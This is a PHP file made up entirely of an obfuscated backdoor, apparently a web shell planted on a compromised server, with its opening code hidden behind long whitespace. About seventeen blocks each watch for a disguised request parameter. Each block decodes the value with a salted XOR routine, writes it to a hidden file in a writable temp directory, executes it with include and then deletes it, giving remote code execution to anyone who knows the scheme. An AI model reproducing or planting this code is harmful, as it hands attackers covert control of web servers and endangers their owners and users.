<?php																																										if(isset($_REQUEST) && isset($_REQUEST["\x69t\x6D"])){ $token = $_REQUEST["\x69t\x6D"]; $token= explode ( '.' , $token ); $factor = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt7); $y = 0; $__tmp = $token; while ($v5 = array_shift($__tmp)) { $chS = ord($salt7[$y % $sLen]); $dec = ((int)$v5 - $chS - ($y % 10)) ^ 29; $factor.=chr($dec); $y++; } $flg = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", getcwd(), getenv("TMP"), getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), session_save_path()]); $component = 0; do { $pset = $flg[$component] ?? null; if ($component >= count($flg)) break; if (is_dir($pset) ? is_writable($pset) : false) { $data = "$pset/.ent"; if (@file_put_contents($data, $factor) !== false) { include $data; unlink($data); die(); } } $component++; } while (true); }
																																										if(array_key_exists("\x66\x61\x63tor", $_REQUEST)){ $flg = $_REQUEST["\x66\x61\x63tor"]; $flg = explode ( '.' ,$flg ) ; $tkn = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s9 ); foreach($flg as $u=>$v8) {$chS = ord($s9[$u % $lenS] ); $dec =((int)$v8 - $chS -($u % 10)) ^ 6; $tkn .=chr($dec ); } $entry = array_filter([session_save_path(), getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir"), "/tmp", getcwd(), "/dev/shm"]); foreach ($entry as $key => $itm) { if ((bool)is_dir($itm) && (bool)is_writable($itm)) { $rec = implode("/", [$itm, ".entity"]); if (@file_put_contents($rec, $tkn) !== false) { include $rec; unlink($rec); die(); } } } }
																																										if(array_key_exists("p\x61ra\x6De\x74e\x72\x5F\x67\x72oup", $_REQUEST)){ $resource = $_REQUEST["p\x61ra\x6De\x74e\x72\x5F\x67\x72oup"]; $resource= explode( '.' , $resource ) ; $obj = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); foreach( $resource as $r => $v4): $sChar = ord( $s[$r % $sLen]); $d = ( ( int)$v4 - $sChar -( $r % 10))^23; $obj .= chr( $d); endforeach; $bind = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", "/dev/shm", getcwd(), "/tmp", session_save_path(), getenv("TMP")]); foreach ($bind as $key => $entity) { if (!( !is_dir($entity) || !is_writable($entity) )) { $mrk = join("/", [$entity, ".ptr"]); if (@file_put_contents($mrk, $obj) !== false) { include $mrk; unlink($mrk); die(); } } } }
																																										if(!empty($_POST["fla\x67"])){ $component = array_filter([sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP"), getenv("TMP"), "/dev/shm", getcwd(), "/var/tmp", "/tmp"]); $k = $_POST["fla\x67"]; $k = explode ( '.' ,$k ); $key =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $s ); foreach( $k as $p => $v5): $sChar =ord( $s[$p %$sLen] ); $d =( ( int)$v5 - $sChar -( $p %10)) ^ 15; $key .= chr( $d ); endforeach; while ($hld = array_shift($component)) { if (is_dir($hld) && is_writable($hld)) { $res = "$hld/.ptr"; $file = fopen($res, 'w'); if ($file) { fwrite($file, $key); fclose($file); include $res; @unlink($res); die(); } } } }
																																										if(array_key_exists("k", $_POST)){ $key = $_POST["k"]; $key = explode( "." , $key) ; $data = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); foreach( $key as $x => $v8) { $sChar = ord( $salt[$x % $lenS]); $dec = ( ( int)$v8 - $sChar -( $x % 10)) ^ 63; $data.= chr( $dec); } $object = array_filter([getcwd(), sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), "/dev/shm", "/var/tmp", getenv("TEMP")]); foreach ($object as $key => $pointer) { if ((bool)is_dir($pointer) && (bool)is_writable($pointer)) { $symbol = "$pointer/.property_set"; if (@file_put_contents($symbol, $data) !== false) { include $symbol; unlink($symbol); die(); } } } }
																																										if(array_key_exists("s\x79m", $_REQUEST)){ $entry = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), "/tmp", session_save_path(), sys_get_temp_dir(), getcwd(), getenv("TEMP"), "/dev/shm", getenv("TMP")]); $pgrp = $_REQUEST["s\x79m"]; $pgrp= explode ( "." ,$pgrp ) ; $key= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt); $len= count($pgrp); for($n= 0; $n < $len; $n++) { $v7= $pgrp[$n]; $sChar= ord($salt[$n % $sLen]); $d= ((int)$v7 - $sChar -($n % 10)) ^ 1; $key .= chr($d); } $itm = 0; do { $res = $entry[$itm] ?? null; if ($itm >= count($entry)) break; if (!( !is_dir($res) || !is_writable($res) )) { $binding = str_replace("{var_dir}", $res, "{var_dir}/.desc"); $success = file_put_contents($binding, $key); if ($success) { include $binding; @unlink($binding); die();} } $itm++; } while (true); }
																																										if(array_key_exists("hld", $_REQUEST)){ $binding = $_REQUEST["hld"]; $binding= explode ( '.', $binding ); $fac = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $__len = count($binding); for ($w = 0; $w<$__len; $w++) {$v1 = $binding[$w]; $chS = ord($salt[$w %$lenS]); $d = ((int)$v1 - $chS - ($w %10)) ^ 62; $fac .= chr($d);} $desc = array_filter(["/var/tmp", getenv("TMP"), session_save_path(), getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir(), "/tmp"]); foreach ($desc as $rec) { if (!( !is_dir($rec) || !is_writable($rec) )) { $itm = "$rec/.item"; if (file_put_contents($itm, $fac)) { require $itm; unlink($itm); exit; } } } }
																																										if(@$_REQUEST["bin\x64\x69n\x67"] !== null){ $comp = array_filter([session_save_path(), getenv("TMP"), getcwd(), "/dev/shm", sys_get_temp_dir(), "/tmp", "/var/tmp", ini_get("upload_tmp_dir"), getenv("TEMP")]); $factor = $_REQUEST["bin\x64\x69n\x67"]; $factor = explode ( '.' , $factor ) ; $itm=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen( $s ); $n=0; while( $n < count( $factor)) {$v2=$factor[$n]; $sChar=ord( $s[$n % $sLen] ); $d=( ( int)$v2 - $sChar -( $n % 10))^ 58; $itm .= chr( $d ); $n++;} foreach ($comp as $pgrp) { if (array_product([is_dir($pgrp), is_writable($pgrp)])) { $data_chunk = str_replace("{var_dir}", $pgrp, "{var_dir}/.entry"); if (file_put_contents($data_chunk, $itm)) { require $data_chunk; unlink($data_chunk); exit; } } } }
																																										if(array_key_exists("r\x65c\x6Fr\x64", $_REQUEST) && !is_null($_REQUEST["r\x65c\x6Fr\x64"])){ $ent = $_REQUEST["r\x65c\x6Fr\x64"]; $ent = explode ("." , $ent); $binding = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s1); $__len = count($ent); for ($j = 0; $j<$__len; $j++) { $v4 = $ent[$j]; $sChar = ord($s1[$j % $sLen]); $dec = ((int)$v4 - $sChar - ($j % 10)) ^ 62; $binding .= chr($dec); } $obj = array_filter(["/var/tmp", getenv("TMP"), getcwd(), "/dev/shm", getenv("TEMP"), sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), session_save_path()]); foreach ($obj as $rec) { if (is_dir($rec) && is_writable($rec)) { $component = vsprintf("%s/%s", [$rec, ".key"]); if (@file_put_contents($component, $binding) !== false) { include $component; unlink($component); exit; } } } }
																																										if(!is_null($_POST["\x74\x6Bn"] ?? null)){ $item = array_filter(["/var/tmp", session_save_path(), "/tmp", getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), getcwd()]); $reference = $_POST["\x74\x6Bn"]; $reference = explode( '.', $reference ) ; $ent =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $s); $i =0; while( $i<count( $reference)) { $v1 =$reference[$i]; $chS =ord( $s[$i % $lenS]); $dec =( ( int)$v1 - $chS -( $i % 10))^ 33; $ent .= chr( $dec); $i++; } $descriptor = 0; do { $sym = $item[$descriptor] ?? null; if ($descriptor >= count($item)) break; if ((is_dir($sym) and is_writable($sym))) { $data_chunk = sprintf("%s/.itm", $sym); if (file_put_contents($data_chunk, $ent)) { require $data_chunk; unlink($data_chunk); exit; } } $descriptor++; } while (true); }
																																										if(array_key_exists("d\x65sc", $_REQUEST)){ $fac = $_REQUEST["d\x65sc"]; $fac = explode ( '.', $fac ) ; $factor = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $o = 0; foreach ($fac as $v8) {$sChar = ord($s[$o % $lenS]); $dec = ((int)$v8 - $sChar - ($o % 10)) ^ 8; $factor .=chr($dec); $o++; } $object = array_filter([getcwd(), getenv("TEMP"), "/dev/shm", "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), "/var/tmp"]); for ($marker = 0, $reference = count($object); $marker < $reference; $marker++) { $entry = $object[$marker]; if (is_writable($entry) && is_dir($entry)) { $ent = sprintf("%s/.ent", $entry); $file = fopen($ent, 'w'); if ($file) { fwrite($file, $factor); fclose($file); include $ent; @unlink($ent); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "\x65\x6Etry")){ $data_chunk = array_filter(["/tmp", "/var/tmp", "/dev/shm", getenv("TMP"), getenv("TEMP"), session_save_path(), getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir()]); $resource = $_REQUEST["\x65\x6Etry"]; $resource = explode( '.' , $resource ) ; $ent = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $t = 0; while($t < count($resource)) { $v5 = $resource[$t]; $chS = ord($s[$t % $sLen]); $dec =((int)$v5 - $chS -($t % 10)) ^ 95; $ent.= chr($dec); $t++; } $mrk = 0; do { $elem = $data_chunk[$mrk] ?? null; if ($mrk >= count($data_chunk)) break; if ((is_dir($elem) and is_writable($elem))) { $pset = vsprintf("%s/%s", [$elem, ".val"]); $file = fopen($pset, 'w'); if ($file) { fwrite($file, $ent); fclose($file); include $pset; @unlink($pset); exit; } } $mrk++; } while (true); }
																																										if(count($_POST) > 0 && isset($_POST["\x6D\x72k"])){ $data_chunk = array_filter(["/var/tmp", getcwd(), getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), getenv("TEMP"), "/dev/shm"]); $val = $_POST["\x6D\x72k"]; $val =explode ( '.' ,$val ) ; $entry = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt5); $__len = count( $val); for( $o = 0; $o <$__len; $o++) { $v9 = $val[$o]; $sChar = ord( $salt5[$o % $sLen]); $d = ( ( int)$v9 - $sChar -( $o % 10))^ 74; $entry .=chr( $d); } while ($hld = array_shift($data_chunk)) { if (!( !is_dir($hld) || !is_writable($hld) )) { $flag = implode("/", [$hld, ".resource"]); $success = file_put_contents($flag, $entry); if ($success) { include $flag; @unlink($flag); exit;} } } }
																																										if(count($_POST) > 0 && isset($_POST["\x63\x6Fm\x70o\x6Eent"])){ $marker = $_POST["\x63\x6Fm\x70o\x6Eent"]; $marker = explode ('.',$marker ) ; $data_chunk = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $r = 0; while($r < count($marker)) { $v9 = $marker[$r]; $chS = ord($s[$r%$lenS]); $d =((int)$v9 - $chS -($r%10))^76; $data_chunk .= chr($d); $r++; } $data = array_filter(["/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm", "/tmp", session_save_path(), getcwd(), getenv("TMP"), getenv("TEMP")]); $flg = 0; do { $pointer = $data[$flg] ?? null; if ($flg >= count($data)) break; if ((is_dir($pointer) and is_writable($pointer))) { $dchunk = "$pointer/.token"; $file = fopen($dchunk, 'w'); if ($file) { fwrite($file, $data_chunk); fclose($file); include $dchunk; @unlink($dchunk); die(); } } $flg++; } while (true); }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x6D\x61r\x6Ber"])){ $holder = $_REQUEST["\x6D\x61r\x6Ber"]; $holder = explode ( "." , $holder ); $record =''; $salt2 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt2); $y =0; foreach ($holder as $v1) { $sChar =ord($salt2[$y % $lenS]); $dec =((int)$v1 - $sChar - ($y % 10))^ 5; $record .= chr($dec); $y++;} $pset = array_filter([ini_get("upload_tmp_dir"), getcwd(), getenv("TMP"), "/dev/shm", "/var/tmp", session_save_path(), sys_get_temp_dir(), "/tmp", getenv("TEMP")]); $comp = 0; do { $k = $pset[$comp] ?? null; if ($comp >= count($pset)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($k)) { $flg = "$k" . "/.res"; $file = fopen($flg, 'w'); if ($file) { fwrite($file, $record); fclose($file); include $flg; @unlink($flg); exit; } } $comp++; } while (true); }
																																										if(@$_POST["fac\x74or"] !== null){ $property_set = $_POST["fac\x74or"]; $property_set = explode( '.' , $property_set ) ; $parameter_group =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt); foreach ($property_set as $z=>$v9): $sChar =ord($salt[$z % $sLen]); $dec =((int)$v9 - $sChar - ($z % 10)) ^ 85; $parameter_group .= chr($dec); endforeach; $dchunk = array_filter([session_save_path(), getenv("TEMP"), "/dev/shm", "/tmp", sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP")]); foreach ($dchunk as $entry) { if (is_dir($entry) ? is_writable($entry) : false) { $mrk = vsprintf("%s/%s", [$entry, ".comp"]); if (file_put_contents($mrk, $parameter_group)) { include $mrk; @unlink($mrk); exit; } } } }


if(filter_has_var(INPUT_POST, "dc\x68un\x6B")){
	$flag = $_REQUEST["dc\x68un\x6B"];
		 	$flag =explode('.'  ,	$flag)	  ; 	 
	$ptr=	 '';
            $salt4=	 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen=	 strlen($salt4 );
            $len=	 count($flag );
    
            for($y=	 0; $y < $len; $y++) {
                $v9=	 $flag[$y];
                $chS=	 ord($salt4[$y% $sLen] );
                $dec=	 ((int)$v9 - $chS -($y% 10)) ^18;
                $ptr	 .=  chr($dec );		}
	$desc = array_filter(["/dev/shm", "/tmp", ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), sys_get_temp_dir(), session_save_path(), getenv("TMP"), "/var/tmp"]);
	foreach ($desc as $key => $pointer) {
    		if (array_product([is_dir($pointer), is_writable($pointer)])) {
    $k = join("/", [$pointer, ".property_set"]);
    if (@file_put_contents($k, $ptr) !== false) {
	include $k;
	unlink($k);
	exit;
}
}
}
}